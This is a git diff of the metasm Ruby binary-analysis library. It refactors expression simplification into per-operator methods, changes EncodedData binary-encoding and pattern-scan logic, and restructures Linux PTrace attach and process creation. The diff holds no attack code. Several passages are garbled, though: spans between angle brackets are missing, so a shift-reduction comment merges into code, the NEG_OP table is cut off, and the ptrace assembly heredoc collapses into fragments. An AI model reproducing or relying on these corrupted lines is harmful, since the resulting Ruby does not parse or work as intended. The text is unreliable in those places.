l.rexpr.kind_of? ::Integer - Expression[l.lexpr, @op, -l.rexpr].reduce_rec - end - end - elsif @op == :'!=' - if l == r; 0 - end - elsif @op == :^ - if l == :unknown or r == :unknown; :unknown - elsif l == 0; r - elsif r == 0; l - elsif l == r; 0 - elsif r == 1 and l.kind_of? Expression and [:'==', :'!=', :<, :>, :<=, :>=].include? l.op - Expression[nil, :'!', l].reduce_rec - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :^ - # 1^(x^y) => x^(y^1) - Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec - else - # 1^a => a^1 - Expression[r, :^, l].reduce_rec - end - elsif l.kind_of? Expression and l.op == :^ - # (a^b)^c => a^(b^c) - Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec - elsif r.kind_of? Expression and r.op == :^ - if r.rexpr == l - # a^(a^b) => b - r.lexpr - elsif r.lexpr == l - # a^(b^a) => b - r.rexpr - else - # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) - # XXX ugly.. - tr = r - found = false - while not found and tr.kind_of?(Expression) and tr.op == :^ - found = true if tr.lexpr == l or tr.rexpr == l - tr = tr.rexpr - end - if found - Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec - end - end - elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 - if r.kind_of?(::Integer) and r & l.rexpr == r - # (a&0xfff)^12 => (a^12)&0xfff - Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec - elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr - # (a&0xfff)^(b&0xfff) => (a^b)&0xfff - Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec - end - end - elsif @op == :& - if l == 0 or r == 0; 0 - elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) - l - elsif l == r; l - elsif l.kind_of?(Integer); Expression[r, @op, l].reduce_rec - elsif l.kind_of?(Expression) and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) - # (a ^| b) & i => (a&i ^| b&i) - Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec - elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 - # foo & 0xffff - reduce_rec_mod2(l, r) - end - elsif @op == :| - if l == 0; r - elsif r == 0; l - elsif l == -1 or r == -1; -1 - elsif l == r; l - elsif l.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :* - if l == 0 or r == 0; 0 - elsif l == 1; r - elsif r == 1; l - elsif r.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif r.kind_of? Expression and r.op == @op; Expression[[l, @op, r.lexpr], @op, r.rexpr].reduce_rec - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec - end - elsif @op == :/ - if r == 0 - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 - Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 - Expression[l.lexpr/r, :*, l.rexpr].reduce_rec - end - elsif @op == :- - if l == :unknown or r == :unknown; :unknown - elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) - if r.op == :- # no lexpr (reduced) - # -(-x) => x - r.rexpr - else # :+ and lexpr (r is reduced) - # -(a+b) => (-a)+(-b) - Expression[[:-, r.lexpr], :+, [:-, r.rexpr]].reduce_rec - end - elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r - # shortcircuit for a common occurence [citation needed] - # (a+b)-a - l.rexpr - elsif l - # a-b => a+(-b) - Expression[l, :+, [:-, r]].reduce_rec - end - elsif @op == :+ - if l == :unknown or r == :unknown; :unknown - elsif not l; r # +x => x - elsif r == 0; l # x+0 => x - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :+ - # 1+(x+y) => x+(y+1) - Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec - else - # 1+a => a+1 - Expression[r, :+, l].reduce_rec - end - # (a+b)+foo => a+(b+foo) - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr - Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec - else - reduce_rec_add(l, r) - end + elsif rp = @@reduce_op[@op] + rp[self, l, r] end ret = case v when nil # no dup if no new value (r == :unknown or l == :unknown) ? :unknown : - ((r == @rexpr and l == @lexpr) ? self : Expression[l, @op, r]) + ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l)) when Expression (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v else v @@ -709,54 +562,248 @@ class Expression < ExpressionType ret end + @@reduce_op = { + :+ => lambda { |e, l, r| e.reduce_op_plus(l, r) }, + :- => lambda { |e, l, r| e.reduce_op_minus(l, r) }, + :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) }, + :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) }, + :>> => lambda { |e, l, r| e.reduce_op_shr(l, r) }, + :<< => lambda { |e, l, r| e.reduce_op_shl(l, r) }, + :'!' => lambda { |e, l, r| e.reduce_op_not(l, r) }, + :== => lambda { |e, l, r| e.reduce_op_eql(l, r) }, + :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) }, + :^ => lambda { |e, l, r| e.reduce_op_xor(l, r) }, + :& => lambda { |e, l, r| e.reduce_op_and(l, r) }, + :| => lambda { |e, l, r| e.reduce_op_or(l, r) }, + :* => lambda { |e, l, r| e.reduce_op_times(l, r) }, + :/ => lambda { |e, l, r| e.reduce_op_div(l, r) }, + :% => lambda { |e, l, r| e.reduce_op_mod(l, r) }, + } - # a+(b+(c+(-a))) => b+c+0 - # a+((-a)+(b+c)) => 0+b+c - def reduce_rec_add(l, r) - if l.kind_of? Expression and l.op == :- and not l.lexpr - neg_l = l.rexpr - else - neg_l = Expression[:-, l] - end - # recursive search & replace -lexpr by 0 - simplifier = lambda { |cur| - if neg_l == cur - # -l found - 0 - elsif cur.kind_of? Expression and cur.op == :+ - # recurse - if newl = simplifier[cur.lexpr] - Expression[newl, cur.op, cur.rexpr].reduce_rec - elsif newr = simplifier[cur.rexpr] - Expression[cur.lexpr, cur.op, newr].reduce_rec - end - end - } + def self.reduce_op + @@reduce_op + end - simplifier[r] - end - - # expr & 0xffff - def reduce_rec_mod2(e, mask) - case e.op - when :+, :^ - if e.lexpr.kind_of?(Expression) and e.lexpr.op == :& and - e.lexpr.rexpr.kind_of?(::Integer) and e.lexpr.rexpr & mask == mask - # ((a&m) + b) & m => (a+b) & m - Expression[[e.lexpr.lexpr, e.op, e.rexpr], :&, mask].reduce_rec - elsif e.rexpr.kind_of?(Expression) and e.rexpr.op == :& and - e.rexpr.rexpr.kind_of?(::Integer) and e.rexpr.rexpr & mask == mask - # (a + (b&m)) & m => (a+b) & m - Expression[[e.lexpr, e.op, e.rexpr.lexpr], :&, mask].reduce_rec + def reduce_op_plus(l, r) + if not l; r # +x => x + elsif r == 0; l # x+0 => x + elsif l == :unknown or r == :unknown; :unknown + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :+ + # 1+(x+y) => x+(y+1) + Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec else - Expression[e, :&, mask] + # 1+a => a+1 + Expression[r, :+, l].reduce_rec end - when :| - # rol/ror composition - reduce_rec_composerol e, mask + # (a+b)+foo => a+(b+foo) + elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr + Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec + elsif l.kind_of? Expression and l.op == :- and not l.lexpr + reduce_rec_add_rec(r, l.rexpr) + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0 + # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f) + Expression[l, :|, r].reduce_rec else - Expression[e, :&, mask] + reduce_rec_add_rec(r, Expression.new(:-, l, nil)) + end + end + + def reduce_rec_add_rec(cur, neg_l) + if neg_l == cur + # -l found + 0 + elsif cur.kind_of?(Expression) and cur.op == :+ + # recurse + if newl = reduce_rec_add_rec(cur.lexpr, neg_l) + Expression[newl, cur.op, cur.rexpr].reduce_rec + elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l) + Expression[cur.lexpr, cur.op, newr].reduce_rec + end + end + end + + def reduce_op_minus(l, r) + if l == :unknown or r == :unknown; :unknown + elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) + if r.op == :- # no lexpr (reduced) + # -(-x) => x + r.rexpr + else # :+ and lexpr (r is reduced) + # -(a+b) => (-a)+(-b) + Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec + end + elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r + # shortcircuit for a common occurence [citation needed] + # (a+b)-a + l.rexpr + elsif l + # a-b => a+(-b) + Expression[l, :+, [:-, r]].reduce_rec + end + end + + def reduce_op_andand(l, r) + if l == 0 # shortcircuit eval + 0 + elsif l == 1 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + 0 # XXX l could be a special ExprType with sideeffects ? + end + end + + def reduce_op_oror(l, r) + if l.kind_of?(::Numeric) and l != 0 # shortcircuit eval + 1 + elsif l == 0 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + Expression[l, :'!=', 0].reduce_rec + end + end + + def reduce_op_shr(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :>> + Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a<>, r], l.op, [l.rexpr, :>>, r]].reduce_rec + end + end + + def reduce_op_shl(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :<< + Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer + # (a >> 1) << 1 == a & 0xfffffe + if r == l.rexpr + Expression[l.lexpr, :&, (-1 << r)].reduce_rec + elsif r > l.rexpr + Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec + else + Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec + end + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a< :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<} + + def reduce_op_not(l, r) + if r.kind_of? Expression and nop = NEG_OP[r.op] + Expression[r.lexpr, nop, r.rexpr].reduce_rec + end + end + + def reduce_op_eql(l, r) + if l == r; 1 + elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op] + Expression[l.lexpr, nop, l.rexpr].reduce_rec + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + l + elsif r == 0 and l.kind_of? Expression and l.op == :+ + if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr + Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec + elsif l.rexpr.kind_of?(::Integer) + Expression[l.lexpr, :==, -l.rexpr].reduce_rec + end + end + end + + def reduce_op_neq(l, r) + if l == r; 0 + end + end + + def reduce_op_xor(l, r) + if l == :unknown or r == :unknown; :unknown + elsif l == 0; r + elsif r == 0; l + elsif l == r; 0 + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + Expression[nil, :'!', l].reduce_rec + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :^ + # 1^(x^y) => x^(y^1) + Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec + else + # 1^a => a^1 + Expression[r, :^, l].reduce_rec + end + elsif l.kind_of? Expression and l.op == :^ + # (a^b)^c => a^(b^c) + Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec + elsif r.kind_of? Expression and r.op == :^ + if r.rexpr == l + # a^(a^b) => b + r.lexpr + elsif r.lexpr == l + # a^(b^a) => b + r.rexpr + else + # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) + # XXX ugly.. + tr = r + found = false + while not found and tr.kind_of?(Expression) and tr.op == :^ + found = true if tr.lexpr == l or tr.rexpr == l + tr = tr.rexpr + end + if found + Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec + end + end + elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 + if r.kind_of?(::Integer) and r & l.rexpr == r + # (a&0xfff)^12 => (a^12)&0xfff + Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec + elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr + # (a&0xfff)^(b&0xfff) => (a^b)&0xfff + Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec + end + end + end + + def reduce_op_and(l, r) + if l == 0 or r == 0; 0 + elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) + l + elsif l == r; l + elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec + elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec + elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) + # (a ^| b) & i => (a&i ^| b&i) + Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec + elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 + # foo & 0xffff + case l.op + when :+, :^ + if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and + l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r + # ((a&m) + b) & m => (a+b) & m + Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec + elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and + l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r + # (a + (b&m)) & m => (a+b) & m + Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, r].reduce_rec + else + Expression[l, :&, r] + end + when :| + # rol/ror composition + reduce_rec_composerol l, r + else + Expression[l, :&, r] + end end end @@ -766,14 +813,14 @@ class Expression < ExpressionType m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']] if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and ((vars['amt'].kind_of?(::Integer) and vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or - (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of? ::Integer and + (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and mask == (1<> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and ((ivars['amt'].kind_of?(::Integer) and ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or - (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of? ::Integer and + (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr)) if ivars[:sh_op] != vars[:sh_op] # ensure the rotations are the same orientation @@ -788,6 +835,48 @@ class Expression < ExpressionType end end + def reduce_op_or(l, r) + if l == 0; r + elsif r == 0; l + elsif l == -1 or r == -1; -1 + elsif l == r; l + elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec + elsif l.kind_of? Expression and l.op == :| + # (a|b)|c => a|(b|c) + Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr + # (a&b)|(a&c) => a&(b|c) + Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec + end + end + + def reduce_op_times(l, r) + if l == 0 or r == 0; 0 + elsif l == 1; r + elsif r == 1; l + elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec + elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec + end + end + + def reduce_op_div(l, r) + if r == 0 + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 + Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 + Expression[l.lexpr/r, :*, l.rexpr].reduce_rec + end + end + + def reduce_op_mod(l, r) + if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0) + Expression[l, :&, r-1].reduce_rec + end + end + + # a pattern-matching method # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42} # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false @@ -816,24 +905,29 @@ class Expression < ExpressionType # returns the array of non-numeric members of the expression # if a variables appears 3 times, it will be present 3 times in the returned array def externals - [@rexpr, @lexpr].inject([]) { |a, e| + a = [] + [@rexpr, @lexpr].each { |e| case e when ExpressionType; a.concat e.externals when nil, ::Numeric; a else a << e end } + a end # returns the externals that appears in the expression, does not walk through other ExpressionType - def expr_externals - [@rexpr, @lexpr].inject([]) { |a, e| + def expr_externals(include_exprs=false) + a = [] + [@rexpr, @lexpr].each { |e| case e - when Expression; a.concat e.expr_externals - when nil, ::Numeric, ExpressionType; a + when Expression; a.concat e.expr_externals(include_exprs) + when nil, ::Numeric; a + when ExpressionType; include_exprs ? a << e : a else a << e end } + a end def inspect @@ -843,6 +937,25 @@ class Expression < ExpressionType Unknown = self[:unknown] end +# An Expression with a custom string representation +# used to show #define constants, struct offsets, func local vars, etc +class ExpressionString < ExpressionType + attr_accessor :expr, :str, :type, :hide_str + def reduce; expr.reduce; end + def reduce_rec; expr.reduce_rec; end + def bind(*a); expr.bind(*a); end + def externals; expr.externals; end + def expr_externals; expr.expr_externals; end + def match_rec(*a); expr.match_rec(*a); end + def initialize(expr, str, type=nil) + @expr = Expression[expr] + @str = str + @type = type + end + def render_str ; [str] ; end + def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end +end + # an EncodedData relocation, specifies a value to patch in class Relocation # the relocation value (an Expression) @@ -855,7 +968,7 @@ class Relocation include Backtrace def initialize(target, type, endianness, backtrace = nil) - raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of? ::Symbol or not endianness.kind_of? ::Symbol + raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol) @target, @type, @endianness, @backtrace = target, type, endianness, backtrace end @@ -890,7 +1003,11 @@ class EncodedData def ptr=(p) @ptr = @export[p] || p end # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length - def initialize(data = '', opts={}) + def initialize(data='', opts={}) + if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0 + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + data = data.dup.force_encoding('binary') + end @data = data @reloc = opts[:reloc] || {} @export = opts[:export] || {} @@ -904,9 +1021,10 @@ class EncodedData if set_inv or not @inv_export[off] @inv_export[off] = label end + label end - def del_export(label, off=@ptr) + def del_export(label, off=@export[label]) @export.delete label if e = @export.index(off) @inv_export[off] = e @@ -942,6 +1060,7 @@ class EncodedData # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc # if replace_target is true, the reloc target is replaced with its bound counterpart def fixup_choice(binding, replace_target) + return if binding.empty? @reloc.keys.each { |off| val = @reloc[off].target.bind(binding).reduce if val.kind_of? Integer @@ -973,13 +1092,15 @@ class EncodedData return {} if not key base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]]) end - @export.inject({}) { |binding, (n, o)| binding.update n => Expression.new(:+, o, base) } + binding = {} + @export.each { |n, o| binding.update n => Expression.new(:+, o, base) } + binding end # returns an array of variables that needs to be defined for a complete #fixup # ie the list of externals for all relocations - def reloc_externals - @reloc.values.map { |r| r.target.externals }.flatten.uniq - @export.keys + def reloc_externals(interns = @export.keys) + @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns end # returns the offset where the relocation for target t is to be applied @@ -1008,7 +1129,7 @@ class EncodedData end # concatenation of another +EncodedData+ (or nil/Fixnum/anything supporting String#<<) - def << other + def <<(other) case other when nil when ::Fixnum @@ -1027,8 +1148,8 @@ class EncodedData end @export[k] = v + @virtsize } - other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } - end + other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } + end if @data.empty?; @data = other.data.dup elsif not @data.kind_of?(String); @data = @data.to_str << other.data else @data << other.data @@ -1036,6 +1157,10 @@ class EncodedData @virtsize += other.virtsize else fill + if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT' + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + other = other.dup.force_encoding('binary') + end if @data.empty?; @data = other.dup elsif not @data.kind_of?(String); @data = @data.to_str << other else @data << other @@ -1047,7 +1172,7 @@ class EncodedData end # equivalent to dup << other, filters out Integers & nil - def + other + def +(other) raise ArgumentError if not other or other.kind_of?(Integer) dup << other end @@ -1092,7 +1217,7 @@ class EncodedData val = len len = nil end - if not len and from.kind_of? ::Range + if not len and from.kind_of?(::Range) b = from.begin e = from.end b = @export[b] if @export[b] @@ -1104,14 +1229,14 @@ class EncodedData from = b end from = @export[from] || from - raise "invalid offset #{from}" if not from.kind_of? ::Integer + raise "invalid offset #{from}" if not from.kind_of?(::Integer) from = from + @virtsize if from < 0 if not len - val = val.chr if val.kind_of? ::Integer + val = val.chr if val.kind_of?(::Integer) len = val.length end - raise "invalid slice length #{len}" if not len.kind_of? ::Integer or len < 0 + raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0 if from >= @virtsize len = 0 @@ -1170,24 +1295,24 @@ class EncodedData def pattern_scan(pat, chunksz=nil, margin=nil) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String + pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String) found = [] chunkoff = 0 while chunkoff < @data.length chunk = @data[chunkoff, chunksz+margin].to_str off = 0 - while match_off = (chunk[off..-1] =~ pat) - break if off+match_off >= chunksz # match fully in margin - match_addr = chunkoff + off + match_off + while match = chunk[off..-1].match(pat) + off += match.pre_match.length + m_l = match[0].length + break if off >= chunksz # match fully in margin + match_addr = chunkoff + off found << match_addr if not block_given? or yield(match_addr) - off += match_off + 1 - # XXX +1 or +lastmatch.length ? - # 'aaaabc'.pattern_scan(/a*bc/) will match 5 times here + off += m_l end chunkoff += chunksz end - found + found end end end diff --git a/lib/metasm/metasm/os/gnu_exports.rb b/lib/metasm/metasm/os/gnu_exports.rb index 1796c8b776..1fe2762e02 100644 --- a/lib/metasm/metasm/os/gnu_exports.rb +++ b/lib/metasm/metasm/os/gnu_exports.rb @@ -258,7 +258,7 @@ libruby1.8.so.1.8 ruby_current_node ruby_debug ruby_description ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree ruby_eval_tree_begin ruby_frame ruby_gc_stress ruby_ignorecase ruby_in_compile ruby_in_eval ruby_inplace_mode ruby_nerrs ruby_patchlevel ruby_platform ruby_release_date ruby_safe_level ruby_sandbox_restore ruby_sandbox_save ruby_scope ruby_sourcefile ruby_sourceline ruby_top_cref ruby_top_self ruby_verbose ruby_version ruby_yychar - ruby_yydebug ruby_yylval + ruby_yydebug ruby_yylval rb_float_new_in_heap EOL curlibname = nil data.each_line { |l| diff --git a/lib/metasm/metasm/os/linux.rb b/lib/metasm/metasm/os/linux.rb index 4db7c493c5..240b4ed316 100644 --- a/lib/metasm/metasm/os/linux.rb +++ b/lib/metasm/metasm/os/linux.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' module Metasm class PTrace @@ -13,9 +14,11 @@ class PTrace def self.open(target) ptrace = new(target) return ptrace if not block_given? - ret = yield ptrace - ptrace.detach - ret + begin + yield ptrace + ensure + ptrace.detach + end end # calls PTRACE_TRACEME on the current (ruby) process @@ -28,29 +31,49 @@ class PTrace # values for do_attach: # :create => always fork+traceme+exec+wait # :attach => always attach - # false/nil => same as attach, without actually calling PT_ATTACH (usefull if we're already tracing pid) - # anything else: try to attach if pid is numeric (using Integer()), else create - def initialize(target, do_attach=true) - begin - raise ArgumentError if do_attach == :create + # false/nil => same as attach, without actually calling PT_ATTACH (useful when the ruby process is already tracing pid) + # default/anything else: try to attach if pid is numeric, else create + def initialize(target, do_attach=true, &b) + case do_attach + when :create + init_create(target, &b) + when :attach + init_attach(target) + when :dup + raise ArgumentError unless target.kind_of?(PTrace) + @pid = target.pid + tweak_for_pid(@pid, target.tgcpu) # avoid re-parsing /proc/self/exe + when nil, false @pid = Integer(target) tweak_for_pid(@pid) - return if not do_attach - attach - rescue ArgumentError, TypeError - raise if do_attach == :attach or not do_attach - did_exec = true - if not @pid = fork - tweak_for_pid(::Process.pid) - traceme - ::Process.exec(*target) - exit!(0) - end + else + t = begin; Integer(target) + rescue ArgumentError, TypeError + end + t ? init_attach(t) : init_create(target, &b) + end + end + + def init_attach(target) + @pid = Integer(target) + tweak_for_pid(@pid) + attach + wait + puts "Ptrace: attached to #@pid" if $DEBUG + end + + def init_create(target, &b) + if not @pid = ::Process.fork + tweak_for_pid(::Process.pid) + traceme + b.call if b + ::Process.exec(*target) + exit!(0) end wait raise "could not exec #{target}" if $?.exited? - tweak_for_pid(@pid) if did_exec - puts "Ptrace: attached to #@pid" if $DEBUG + tweak_for_pid(@pid) + puts "Ptrace: attached to new #@pid" if $DEBUG end def wait @@ -59,10 +82,14 @@ class PTrace attr_accessor :reg_off, :intsize, :syscallnr, :syscallreg attr_accessor :packint, :packuint, :host_intsize, :host_syscallnr - # setup the variables according to the target - def tweak_for_pid(pid=@pid) + attr_accessor :tgcpu + @@sys_ptrace = {} + + # setup variables according to the target (ptrace interface, syscall nrs, ...) + def tweak_for_pid(pid=@pid, tgcpu=nil) # use these for our syscalls PTRACE - case LinOS.open_process(::Process.pid).cpu.shortname + @@host_csn ||= LinOS.open_process(::Process.pid).cpu.shortname + case @@host_csn when 'ia32' @packint = 'l' @packuint = 'L' @@ -78,9 +105,9 @@ class PTrace else raise 'unsupported architecture' end + @tgcpu = tgcpu || LinOS.open_process(pid).cpu # use these to interpret the child state - tgcpu = LinOS.open_process(pid).cpu - case tgcpu.shortname + case @tgcpu.shortname when 'ia32' @syscallreg = 'ORIG_EAX' @syscallnr = SYSCALLNR_I386 @@ -92,13 +119,53 @@ class PTrace else raise 'unsupported target architecture' end - cp = tgcpu.new_cparser - cp.parse SIGINFO_C - @siginfo = cp.alloc_c_struct('siginfo') - # buffer used in ptrace syscalls @buf = [0].pack(@packint) - @bufptr = str_ptr(@buf) + + @sys_ptrace = @@sys_ptrace[@host_syscallnr['ptrace']] ||= setup_sys_ptrace(@host_syscallnr['ptrace']) + end + + def setup_sys_ptrace(sysnr) + moo = Class.new(DynLdr) + case @@host_csn + when 'ia32' + # XXX compat lin2.4 ? + asm = < 0 off -= decal @@ -146,29 +214,30 @@ class PTrace pokedata(off+i, str[i, @host_intsize]) i += @host_intsize end + true end # linux/ptrace.h COMMAND = { - 'TRACEME' => 0, 